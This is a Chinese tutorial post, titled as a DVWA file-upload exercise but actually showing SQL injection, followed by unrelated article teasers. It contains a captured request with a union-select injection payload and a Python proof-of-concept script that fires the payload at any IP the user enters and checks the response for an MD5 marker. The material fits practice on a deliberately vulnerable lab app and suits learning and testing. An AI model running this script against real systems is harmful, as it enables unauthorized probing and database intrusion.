python DVWA文件上传POC练习

news/2024/7/24 11:33:58 标签: python, 开发语言, web安全, 安全, 网络安全

先直接测试POC

抓包

GET /dv/vulnerabilities/sqli/?id=1%27+union+select+1%2Cmd5%28123%29%23&Submit=Submit HTTP/1.1

Host: 10.9.75.161

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9

Referer: http://10.9.75.161/dv/vulnerabilities/sqli/

Accept-Encoding: gzip, deflate

Accept-Language: en-US,en;q=0.9

Cookie: security=low; BkGOp9578O_think_template=default; PHPSESSID=c1f788dc603a85146269756a943ab0c3

Connection: close

构造url

        target=url+'/dv/vulnerabilities/sqli/?id=1%27+union+select+1%2Cmd5%28123%29%23&Submit=Submit'

构造headers

  headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36",
                 "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
                 "Cookie": "security=low; BkGOp9578O_think_template=default; PHPSESSID=c1f788dc603a85146269756a943ab0c3"
         }

关键测试代码

python"> if hashlib.md5('123'.encode("utf-8")).hexdigest() in res.text:
            print('[+]',url,"存在sql注入")
        else:
            print('[-]',url,'不存在sql注入')

如果存在SQL注入漏洞,那么服务器的响应文本(res.text)可能会包含一些特定的信息,例如这里用到的MD5哈希值,也可以用其他代码

终极POC

python">import requests
import hashlib

def sql(url):
    try:
        target=url+'/dv/vulnerabilities/sqli/?id=1%27+union+select+1%2Cmd5%28123%29%23&Submit=Submit'
        headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36",
                 "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
                 "Cookie": "security=low; BkGOp9578O_think_template=default; PHPSESSID=c1f788dc603a85146269756a943ab0c3"
         }
        res=requests.get(url=target,headers=headers)
        print(res.text)
        if hashlib.md5('123'.encode("utf-8")).hexdigest() in res.text:
            print('[+]',url,"存在sql注入")
        else:
            print('[-]',url,'不存在sql注入')
    except Exception as e:
        print('error')
        print(e)
if __name__ == '__main__':
    url=input("请输入目标IP:")
    sql('http://'+url)


http://www.niftyadmin.cn/n/5016831.html

相关文章

UIStackView入门使用两个问题

项目中横向一排元素,竖向一排元素,可以使用UIStackView。UIStackView的原理不做介绍,这里主要讲两个初次使用容易出现的两个问题。 首先创建一个stackview -(UIStackView*)titleStackView{if(_titleStackView nil){_titleStackView [UISta…

十五、Webpack打包图片-js-Vue、Label命令、resolve模块解析

一、webpack打包图片 (1)加载图片案例准备 为了演示我们项目中可以加载图片,我们需要在项目中使用图片,比较常见的使用图片的方式是两种: img元素,设置src属性;其他元素(比如div&…

Redis总结(二)

目录 Redis线程模型 Redis是单线程吗? Redis采用单线程为什么那么快? I/O多路复用模型 Redis持久化 Redis如何保证数据不丢失? AOF日志 AOF三种写回策略 AOF重写机制 触发机制 重写原理 RDB快照 执行快照时,数据能被…

Python:安装Flask web框架hello world

安装easy_install pip install distribute 安装pip easy_install pip 安装 virtualenv pip install virtualenv 激活Flask pip install Flask 创建web页面demo.py from flask import Flask app Flask(__name__)app.route(/) def hello_world():return Hello World! 2023if _…

【程序员装机】在右键菜单中添加Notepad++选项

文章目录 前言在右键菜单中添加Notepad选项的批处理脚本上述批处理脚本的功能包括 总结 前言 本文将介绍如何通过批处理脚本来在Windows右键菜单中添加Notepad选项,使您能够轻松使用Notepad打开各种文件。 在右键菜单中添加Notepad选项的批处理脚本 以下是一个用于…

java优雅去除 NullPointerException 空指针异常

解决方式:JDK提供的Optional类 相关API介绍(非全部,这四个函数之间具有相关性) 第一组 Optional(T value),empty(),of(T value),ofNullable(T value) 先说明一下,Optional(T value),即构造函数&#xf…

个人主页网站动态星空背景源码(带后台版本)

动态星空背景个人主页网站源码是一种用于创建个人主页的开源项目。它具有一个令人印象深刻的动态星空背景,为用户提供了一个独特而吸引人的网页设计。此源码还包含一个后台版本,使用户能够轻松管理和更新他们的个人主页内容。 通过该源码,用…

基于SSM的人事管理信息系统

末尾获取源码 开发语言:Java Java开发工具:JDK1.8 后端框架:SSM 前端:采用JSP技术开发 数据库:MySQL5.7和Navicat管理工具结合 服务器:Tomcat8.5 开发软件:IDEA / Eclipse 是否Maven项目&#x…